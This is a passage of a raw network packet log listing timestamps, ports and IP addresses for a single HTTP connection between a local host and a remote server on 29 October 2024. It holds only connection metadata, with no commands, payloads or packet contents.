Oct 29, 2024 20:34:56.600917101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600929022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600933075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600939035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600950956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600956917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600961924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600979090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600995064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601003885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601006985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601016998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601028919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601030111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601041079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601053953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601062059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601066113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601089001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601104021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601660013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601674080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601686001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601702929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601718903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601794958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601807117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601816893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601835012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601835966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601847887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601849079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601864100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601876020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601877928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601888895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601895094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601900101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601912022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601921082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601922035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601933956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601941109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601946115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601958990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601979971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.601984024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.601998091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602009058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602010965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602020025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602030993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602039099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602041960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602054119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602058887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602065086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602077961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602083921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602088928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602101088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602102995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602129936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602153063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602319002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602338076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602349997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602360010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602363110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602370977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602374077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602382898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602394104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602418900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602430105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602431059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602449894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602454901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602463961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602474928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602479935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602485895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602494001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602498055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602515936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602524042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602528095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602538109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602543116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602550030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602561951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602566957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602572918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602592945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602616072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602716923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602734089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.602752924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.602763891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.794370890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.794399023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.794445038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.794476032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.900155067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.900175095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.900186062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.900198936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.900247097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.900288105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901206970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901258945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901276112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901318073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901331902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901345015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901381016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901392937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901403904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901415110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901426077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901442051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901449919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901458979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901475906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901484013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901487112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901504993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901506901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901516914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901536942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901541948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901550055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901557922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901560068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901577950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901587009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901592016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901612043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901614904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901627064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901638031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901638031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901663065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901665926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901681900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901711941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901937008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901956081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901972055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.901978970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.901992083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902007103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902010918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902019024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902034044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902045012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902045965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902085066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902085066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902285099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902333975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902362108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902374983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902380943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902412891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902415037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902425051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902431011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902437925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902450085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902461052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902465105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902471066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902481079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902489901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902508020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902513981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902528048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902545929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902566910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902604103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902631998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902646065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902657032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902667999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902673960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902715921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902715921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902744055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902755976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902774096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902786016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902796984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902798891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902810097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902818918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902832031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902836084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902848005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902858019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902879000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902896881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902909040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902923107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902934074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.902936935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902961969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.902987957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903136969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903157949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903167963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903183937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903197050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903249025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903260946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903271914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903301954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903348923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903505087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903517962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903527975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903541088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903552055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903557062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903573990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903577089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903587103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903594971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903598070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903609037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903620958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903623104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903647900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903660059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903727055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903738976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903749943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903784037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903806925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903819084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903830051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903842926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903868914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903882027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903935909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903948069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903975964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.903979063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.903989077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904014111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904051065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904062033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904072046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904092073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904097080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904103994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904113054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904117107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904131889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904150963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904186964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904236078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904252052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904264927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904293060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904295921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904304981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904308081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904316902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904320955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904328108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904340029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904340029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904351950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904357910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904369116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904377937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904380083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904398918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904406071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904409885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904421091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904422045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904433966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904449940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904474974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904489040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904500008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904510021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904522896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904525995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904534101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904548883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904575109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904824972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904870033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904917955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904930115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904942036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904953003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904961109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.904964924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.904978037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905004978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905082941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905096054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905126095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905143023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905152082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905154943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905174017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905184031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905191898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905191898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905194998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905211926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905213118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905237913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905261040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905324936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905337095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905347109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905360937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905369997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905370951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905390024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905395031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905401945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905409098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905412912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905426025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905436993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905443907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905455112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905457973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905468941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905468941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905481100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.905483007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.905492067 CET	80	49704	185.215.113.206	192.168.2.5
